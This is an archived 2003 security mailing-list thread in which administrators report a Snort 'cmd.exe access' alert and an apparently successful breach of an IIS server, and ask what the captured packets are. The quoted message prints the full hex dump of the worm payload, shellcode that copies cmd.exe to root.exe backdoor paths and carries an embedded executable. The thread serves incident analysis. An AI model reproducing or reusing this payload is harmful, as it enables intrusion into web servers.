RE: strange cmd.exe access

From: MacDougall, Shane (smacdougallat_private)
Date: Wed Jun 04 2003 - 21:22:03 PDT

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    We saw the exact same packets attack our network from 3 different hosts.
    It appears that somehow this attack successfully breached a "hardened"
    IIS box. URLScan reported several typical Code Red type traffic from the
    attacking IPs, and although the IIS log was scrubbed of some suspicious
    activity, our syslogs and IDS indicated that the attack was successful.
    
    Any info on these attack packets would be greatly appreciated.
    
    Regards.
    Shane
    
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    Shane MacDougall
    Lead Security Officer
    ID Analytics
    San Diego, California USA
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    -----Original Message-----
    From: Q [mailto:quentyn@the-q.co.uk] 
    Sent: Thursday, May 29, 2003 12:10 PM
    To: incidentsat_private
    Subject: strange cmd.exe access 
    
    Hi I saw this packet 
    
    #(3 - 261684) [2003-05-09 19:43:00] [snort/1002]  WEB-IIS cmd.exe access
    IPv4: 194.204.X.X -> X.X.X.X
          hlen=5 TOS=0 dlen=1472 ID=57174 flags=0 offset=0 TTL=116
    chksum=60435
    TCP:  port=27761 -> dport: 80  flags=***A**** seq=915915841
          ack=1210973630 off=5 res=0 win=17184 urp=0 chksum=16151
    Payload:  length = 1432
    
    000 : FF 75 FC FF 55 F8 89 45 D8 E8 0F 00 00 00 47 6C   .u..U..E......Gl
    010 : 6F 62 61 6C 41 64 64 41 74 6F 6D 41 00 FF 75 FC   obalAddAtomA..u.
    020 : FF 55 F8 89 45 D4 E8 0C 00 00 00 43 6C 6F 73 65   .U..E......Close
    030 : 48 61 6E 64 6C 65 00 FF 75 FC FF 55 F8 89 45 D0   Handle..u..U..E.
    040 : E8 08 00 00 00 5F 6C 63 72 65 61 74 00 FF 75 FC   ....._lcreat..u.
    050 : FF 55 F8 89 45 CC E8 08 00 00 00 5F 6C 77 72 69   .U..E......_lwri
    060 : 74 65 00 FF 75 FC FF 55 F8 89 45 C8 E8 08 00 00   te..u..U..E.....
    070 : 00 5F 6C 63 6C 6F 73 65 00 FF 75 FC FF 55 F8 89   ._lclose..u..U..
    080 : 45 C4 E8 0E 00 00 00 47 65 74 53 79 73 74 65 6D   E......GetSystem
    090 : 54 69 6D 65 00 FF 75 FC FF 55 F8 89 45 C0 E8 0B   Time..u..U..E...
    0a0 : 00 00 00 57 53 32 5F 33 32 2E 44 4C 4C 00 FF 55   ...WS2_32.DLL..U
    0b0 : F4 89 45 BC E8 07 00 00 00 73 6F 63 6B 65 74 00   ..E......socket.
    0c0 : FF 75 BC FF 55 F8 89 45 B8 E8 0C 00 00 00 63 6C   .u..U..E......cl
    0d0 : 6F 73 65 73 6F 63 6B 65 74 00 FF 75 BC FF 55 F8   osesocket..u..U.
    0e0 : 89 45 B4 E8 0C 00 00 00 69 6F 63 74 6C 73 6F 63   .E......ioctlsoc
    0f0 : 6B 65 74 00 FF 75 BC FF 55 F8 89 45 A4 E8 08 00   ket..u..U..E....
    100 : 00 00 63 6F 6E 6E 65 63 74 00 FF 75 BC FF 55 F8   ..connect..u..U.
    110 : 89 45 B0 E8 07 00 00 00 73 65 6C 65 63 74 00 FF   .E......select..
    120 : 75 BC FF 55 F8 89 45 A0 E8 05 00 00 00 73 65 6E   u..U..E......sen
    130 : 64 00 FF 75 BC FF 55 F8 89 45 AC E8 05 00 00 00   d..u..U..E......
    140 : 72 65 63 76 00 FF 75 BC FF 55 F8 89 45 A8 E8 0C   recv..u..U..E...
    150 : 00 00 00 67 65 74 68 6F 73 74 6E 61 6D 65 00 FF   ...gethostname..
    160 : 75 BC FF 55 F8 89 45 9C E8 0E 00 00 00 67 65 74   u..U..E......get
    170 : 68 6F 73 74 62 79 6E 61 6D 65 00 FF 75 BC FF 55   hostbyname..u..U
    180 : F8 89 45 98 E8 10 00 00 00 57 53 41 47 65 74 4C   ..E......WSAGetL
    190 : 61 73 74 45 72 72 6F 72 00 FF 75 BC FF 55 F8 89   astError..u..U..
    1a0 : 45 94 E8 0B 00 00 00 55 53 45 52 33 32 2E 44 4C   E......USER32.DL
    1b0 : 4C 00 FF 55 F4 89 45 90 E8 0E 00 00 00 45 78 69   L..U..E......Exi
    1c0 : 74 57 69 6E 64 6F 77 73 45 78 00 FF 75 90 FF 55   tWindowsEx..u..U
    1d0 : F8 89 45 8C C3 8B 45 84 69 C0 05 84 08 08 40 89   ..E...E.i.....@.
    1e0 : 45 84 8D 84 04 78 56 34 12 F7 D8 C1 C0 08 C3 E8   E....xV4........
    1f0 : E1 FF FF FF 3C 00 74 F7 3C FF 74 F3 C3 E8 ED FF   ....<.t.<.t.....
    200 : FF FF 8A F8 E8 E6 FF FF FF 8A D8 C1 E3 10 E8 DC   ................
    210 : FF FF FF 8A F8 E8 D5 FF FF FF 8A D8 E8 B4 FF FF   ................
    220 : FF 83 E0 07 E8 20 00 00 00 FF FF FF FF 00 FF FF   ..... ..........
    230 : FF 00 FF FF FF 00 FF FF FF 00 FF FF FF 00 00 FF   ................
    240 : FF 00 00 FF FF 00 00 FF FF 59 8B 04 81 23 D8 F7   .........Y...#..
    250 : D0 23 85 58 FE FF FF 0B D8 80 FB 7F 74 9F 80 FB   .#.X......t...
    260 : E0 74 9A 3B 9D 58 FE FF FF 74 92 C3 68 04 01 00   .t.;.X...t..h...
    270 : 00 8D 85 5C FE FF FF 50 FF 55 E0 8D BC 05 5C FE   ...\...P.U....\.
    280 : FF FF E8 09 00 00 00 5C 43 4D 44 2E 45 58 45 00   .......\CMD.EXE.
    290 : 5E FC A5 A5 A4 B3 63 6A 01 E8 1C 00 00 00 64 3A   ^.....cj......d:
    2a0 : 5C 69 6E 65 74 70 75 62 5C 73 63 72 69 70 74 73   \inetpub\scripts
    2b0 : 5C 72 6F 6F 74 2E 65 78 65 00 8B 0C 24 88 19 8D   \root.exe...$...
    2c0 : 85 5C FE FF FF 50 FF 55 DC 6A 01 E8 2B 00 00 00   .\...P.U.j..+...
    2d0 : 64 3A 5C 70 72 6F 67 72 61 7E 31 5C 63 6F 6D 6D   d:\progra~1\comm
    2e0 : 6F 6E 7E 31 5C 73 79 73 74 65 6D 5C 4D 53 41 44   on~1\system\MSAD
    2f0 : 43 5C 72 6F 6F 74 2E 65 78 65 00 8B 0C 24 88 19   C\root.exe...$..
    300 : 8D 85 5C FE FF FF 50 FF 55 DC E8 BA 05 00 00 FC   ..\...P.U.......
    310 : 4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00   MZP.............
    320 : B8 00 00 00 00 00 00 00 40 00 1A FC 00 00 01 FC   ........@.......
    330 : FC FC FC FC FC 00 00 50 45 00 00 4C 01 03 00 FD   .......PE..L....
    340 : 2A 25 29 00 00 00 00 00 00 00 00 E0 00 8F 81 0B   *%).............
    350 : 01 02 19 00 04 00 00 00 08 00 00 00 00 00 00 00   ................
    360 : 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 00   ........ ....@..
    370 : 10 00 00 00 04 00 00 01 00 00 00 00 00 00 00 03   ................
    380 : 00 0A 00 00 00 00 00 00 40 00 00 00 04 00 00 00   ........@.......
    390 : 00 00 00 02 00 00 00 00 00 10 00 00 20 00 00 00   ............ ...
    3a0 : 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00   ................
    3b0 : 00 00 00 00 00 00 00 00 30 00 00 0C 01 FC FC FC   ........0.......
    3c0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
    3d0 : 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 10   ................
    3e0 : 00 00 00 04 00 00 00 08 00 00 00 00 00 00 00 00   ................
    3f0 : 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00   ...... ..`......
    400 : 00 00 00 10 00 00 00 20 00 00 00 04 00 00 00 0C   ....... ........
    410 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00   ..............@.
    420 : 00 C0 00 00 00 00 00 00 00 00 00 10 00 00 00 30   ...............0
    430 : 00 00 00 04 00 00 00 10 00 00 00 00 00 00 00 00   ................
    440 : 00 00 00 00 00 00 40 00 00 C0 FC FC FC FC FC FC   ......@.........
    450 : FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC   ................
    460 : FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC   ................
    470 : FC FC FC FC FC FC 00 00 00 00 00 00 00 00 00 00   ................
    480 : 00 00 00 00 00 00 68 04 01 00 00 68 D0 20 40 00   ......h....h. @.
    490 : E8 61 01 00 00 8D B8 D0 20 40 00 BE 00 20 40 00   .a...... @... @.
    4a0 : A5 A5 A5 A5 6A 01 68 D0 20 40 00 E8 4C 01 00 00   ....j.h. @..L...
    4b0 : E8 0C 00 00 00 68 C0 27 09 00 E8 31 01 00 00 EB   .....h.'...1....
    4c0 : EF 68 D8 24 40 00 68 3F 00 0F 00 6A 00 68 10 20   .h.$@.h?...j.h. 
    4d0 : 40 00 68 02 00 00 80 E8 32 01 00 00 0B C0 75 26   @.h.....2.....u&
    4e0 : 6A 04 68 54 20 40 00 6A 04 6A 00 68 48 20 40 00   j.hT @.j.j.hH @.
    4f0 : FF 35 D8 24 40 00 E8 0D 01 00 00 FF 35 D8 24 40   .5.$@.......5.$@
    500 : 00 E8 0E 01 00 00 68 D8 24 40 00 68 3F 00 0F 00   ......h.$@.h?...
    510 : 6A 00 68 58 20 40 00 68 02 00 00 80 E8 ED 00 00   j.hX @.h........
    520 : 00 0B C0 75 55 BD 9C 20 40 00 E8 4C 00 00 00 BD   ...uU.. @..L....
    530 : A8 20 40 00 E8 42 00 00 00 6A 09 68 B8 20 40 00   . @..B...j.h. @.
    540 : 6A 01 6A 00 68 B0 20 40 00 FF 35 D8 24 40 00 E8   j.j.h. @..5.$@..
    550 : B4 00 00 00 6A 09 68 C4 20 40 00 6A 01 6A 00 68   ....j.h. @.j.j.h
    560 : B4 20 40 00 FF 35 D8 24 40 00 E8 99 00 00 00 FF   . @..5.$@.......
    570 : 35 D8 24 40 00 E8 9A 00 00 00 C3 C7 05 D0 24 40   5.$@..........$@
    580 : 00 00 04 00 00 68 D0 24 40 00 68 D0 20 40 00 68   .....h.$@.h. @.h
    590 : D4 24 40 00 6A 00 55 FF                           .$@.j.U.
    
    what is strange is that the cmd.exe / root.exe stuff is half way through
    with some other code before it 
    
    the ip it hit was not mapped to anything ( I believe it is unused) so
    this
    can not have been part of another tcp converstion
    
    
    any ideas ?
    
    
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    The should be a sig here, but it got bored and wandered off 
    
    
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